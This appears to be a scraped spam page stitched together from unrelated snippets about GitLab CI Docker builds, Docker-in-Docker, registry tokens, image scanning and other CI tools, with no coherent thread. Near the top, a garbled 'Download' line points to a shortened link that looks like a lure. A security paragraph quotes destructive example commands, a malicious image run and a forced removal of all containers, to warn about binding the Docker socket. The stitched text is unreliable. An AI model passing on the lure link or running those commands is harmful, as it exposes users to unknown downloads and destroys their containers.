To sumnmarize out of the comments: the goal is to build a docker image out of the content of two other repositories. Therefore we want to use git and docker at the same build stage - or at least this is the attempted try. I provide here different options, which can be used to achieve this.
Instead of messing around with a build image, i would migrate this logic into my Dockerfile. Normally i have easier ways of handling such things within the Dockerfile, and even if it adds another layer for git and for the removal - i am faster than trying to mess around with a build image, containing docker and git.
Download Docker Image From Gitlab
Download š„ https://bltlly.com/2y3IWc š„
You now know how to inspect the docker registry associated with your gitlab account, how to log into it from the command line, and how to download and run images from it. By using a deploy-token, you can now use even private docker images in your pipelines.
I opened a new issue as I also stumpled upon this: "docker pull" with deploy token fails on registry.gitlab.com - but only on public repos which have restricted docker registry to project members (#370039)Ā IssuesĀ GitLab.org / GitLabĀ GitLab
I had the same issue as @AndreasSliwka, no matter what option I put into pull_policy in the config file, it would always try to pull the image. In then end I added --docker-pull-policy=never to the gitlab-runner call and that finally took it.
on this image I have hosted the gitlab image on docker desktop on port 8080. when I click on the issue "unable to update stock for serial item " it will not open , you can see the next screnshot with the error
If you have specified a container image in your CI/CD job, then there is no impact to you. In other words, your GitLab SaaS CI/CD job will only run in the default container if no image is set for the job in the .gitlab-ci.yml pipeline file.
And it actually worked fine. I got my docker container built and pushed to the registry.Next step was to be able to run tests. This is where things became not so obvious.For testing, we need to add another stage to our gitlab-ci file.
I was very confused when I was not able to use docker-compose, since docker:latest image has no docker-compose installed.I spent some time googling and trying to install compose inside the container,and ended up using image jonaskello/docker-and-compose instead of the recommended one.
Head to the Git repository for the project you want to build images for. Create a .gitlab-ci.yml file at the root of the repository. This file defines the GitLab CI pipeline that will run when you push changes to your project.
This simplistic configuration is enough to demonstrate the basics of pipeline-powered image builds. GitLab automatically clones your Git repository into the build environment so running docker build will use your project's Dockerfile and make the repository's content available as the build context.
After the build completes, you can docker push the image to your registry. Otherwise it would only be available to the local Docker installation that ran the build. If you're using a private registry, run docker login first to supply proper authentication details:
The Docker executor gives you two possible strategies for building your image: either use Docker-in-Docker, or bind the host's Docker socket into the Runner's build environment. You then use the official Docker container image as your job's image, making the docker command available in your CI script.
Within your CI pipeline, add the docker:dind image as a service. This makes Docker available as a separate image that's linked to the job's image. You'll be able to use the docker command to build images using the Docker instance in the docker:dind container.
Using DinD gives you fully isolated builds that can't impact each other or your host. The major drawback is more complicated caching behavior: each job gets a new environment where previously built layers won't be accessible. You can partially address this by trying to pull the previous version of your image before you build, then using the --cache-from build flag to make the pulled image's layers available as a cache source:
Now jobs that run with the docker image will be able to use the docker binary as normal. Operations will actually occur on your host machine, becoming siblings of the job's container instead of children.
While this approach can lead to higher performance, less configuration, and none of the limitations of DinD, it comes with its own unique issues. Most prominent among these are the security implications: jobs could execute arbitrary Docker commands on your Runner host, so a malicious project in your GitLab instance might run docker run -it malicious-image:latest or docker rm -f $(docker ps -a) with devastating consequences.
Other Docker clients can pull images from the registry by authenticating using an access token. You can generate these on your project's Settings > Access Tokens screen. Add the read_registry scope, then use the displayed credentials to docker login to your project's registry.
GitLab's Dependency Proxy provides a caching layer for the upstream images you pull from Docker Hub. It helps you stay within Docker Hub's rate limits by only pulling the content of images when they've actually changed. This will also improve the performance of your builds.
The Dependency Proxy is activated at the GitLab group level by heading to Settings > Packages & Registries > Dependency Proxy. Once it's enabled, prefix image references in your .gitlab-ci.yml file with $CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX to pull them through the proxy:
Docker image builds are easily integrated into your GitLab CI pipelines. After initial Runner configuration, docker build and docker push commands in your job's script section are all you need to create an image with the Dockerfile in your repository. GitLab's built-in container registry gives you private storage for your project's images.
In this article, we detail a common recipe we use to automatically regenerate our internal Docker image whenever `rust:latest` is updated to point to a new version. This involves committing to the repo from a CI-runner, as well as scheduling and organizing our CI runs so that we get the new Rust image shortly after release.
1. `.gitlab-ci.yml`: The CI file for our repository.
2. `Dockerfile`: The file used to build Docker images.
3. `VERSION`: A file containing the version triplet (MAJOR.MINOR.PATCH, e.g. `1.2.3`) of our Docker image.
Every Docker image has a [manifest]( ) describing the tag (i.e. `latest` in this example). This manifest is provided by their API with a [content digest]( -digests), which is a unique identifier for any given image. Since this value will update any time a new change is pushed to the `:latest` tag, we can check this value in order to know if the tag has a different digest from the last time we built against `rust:latest`.
Image scanning has become a critical step in CI/CD workflows by introducing security earlier in the development process (security shift-left). Our workflow will build a container image, then it will locally scan the image using the sysdig-cli-scanner tool. The scan results will then be sent to Sysdig. If the scan evaluation fails, the workflow breaks, preventing the image from being uploaded into a registry.. Otherwise, the container image is pushed to the GitLab container registry.
The image building step leverages the Kaniko project to build the container image using the instructions from your Dockerfile, and generates a new local image in the $(pwd)/build/$CI_IMAGE_TAG.tar file that will be scanned in the next step.
The scanning process is as simple as downloading a binary file and executing it with a few parameters (including the SECURE_API_TOKEN environment variable from the SYSDIG_SECURE_TOKEN variable created before) against the container image built before.
Have any of you tried using the Opensearch docker image as a service in Gitlab CI? I am currently using the Elasticsearch image, but we have switched to Opensearch 1.1.0, and I want to use the same version in my integration tests.
If you want, you can map the Docker socket into the container so that Renovate can dynamically invoke "sidecar" images when needed.You'll need to set binarySource=docker for this to work.Read the binarySource config option docs for more information.
Running Playwright on CircleCI is very similar to running on GitHub Actions. In order to specify the pre-built Playwright Docker image, simply modify the agent definition with docker: in your config like so:
Note: Your GitLab container registry may have an expiration policy. The expiration policy regularly removes older images and tags from the container registry. As a consequence, a deployment that is older than the expiration policy would fail to re-deploy, because the Docker image for this commit will have been removed from the registry. You can manage the expiration policy in Settings > CI/CD > Container Registry tag expiration policy. The expiration interval is usually set to something high, like 90 days. But when you run into the case of trying to deploy an image that has been removed from the registry due to the expiration policy, you can solve the problem by re-running the publish job of that particular pipeline as well, which will re-create and push the image for the given commit to registry.
After setting up our Docker installation, the first step towards setting our environment is to run the image of GitLab, using a persistent store inside our host machine. So GitLab will run inside a docker container, but it will use the host machine's disk to save data and load configurations.
Personally, I prefer the latter, as I like to keep things clean. I also prefer to keep my certbot certificates to a centralized location to my host machine for future uses, like testing my docker images (have the host as a staging server).
The above Dockerfile uses node:10.16 to transpile our application. When the build finishes, it produces an image ready to be executed, using 10.16-alpine as the base image. This way, we can have all the required components installed when building (webpack, node-sass, typescript compilation tools), but only a handful when running, which results in a very thin image. This will save much space (more than 1GB per build) when storing it to a docker container registry (this is especially important if one uses a paid docker registry). 2351a5e196
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